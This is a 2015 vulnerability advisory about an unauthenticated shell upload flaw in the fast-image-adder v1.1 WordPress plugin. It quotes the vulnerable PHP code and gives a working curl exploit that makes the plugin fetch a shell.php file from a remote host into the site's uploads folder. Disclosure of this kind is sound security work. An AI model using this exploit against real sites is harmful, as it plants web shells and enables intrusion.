WordPress Fast Image Adder 1.1 Shell Upload
Posted on 09 August 2015
Title: Remote file upload vulnerability in fast-image-adder v1.1 Wordpress plugin Author: Larry W. Cashdollar, @_larry0 Date: 2015-07-10 Download Site: https://wordpress.org/plugins/fast-image-adder Vendor: https://profiles.wordpress.org/robbyslaughter/ Vendor Notified: 2015-07-10 Vendor Contact: plugins@wordpress.org Description: Add images to your blog posts from a URL in a flash. Skip the download/upload steps and the slow WordPress dialog box. Vulnerability: The fast-image-adder-uploader.php file doesn't check if a user is authorized to upload files: It creates a random file name, but reports the name back to the user. 60 $upload_dir = wp_upload_dir(); 61 $path = $upload_dir['path']; 62 $new_filename = $suggested_name_filesystem . "_" . random_filename() . substr($url,strrpos($url,".")); 63 64 65 // If we are not in test mode, get the file and resize it 66 if ($test_mode === FALSE) 67 { 68 $image_data = file_get_contents($url); 69 file_put_contents($path . "/" . $new_filename,$image_data); 70 resize($path . "/" . $new_filename, $new_height, $new_width, $val_maxwidth, $path . "/" . $new_filename); 71 } 72 73 $new_url = $upload_dir['url'] . "/" . $new_filename; . . 83 if ($test_mode === FALSE) 84 { 85 echo "Uploaded as " . $new_url; 86 } CVEID: OSVDB: Exploit Code: • $ curl http://www.example.com/wp-content/plugins/fast-image-adder/fast-image-adder-uploader.php?confirm=url&url=http://192.168.0.2/shell.php • Shell location is reported back to the user with random filename. The url site must not interpret php, but allow it for download.
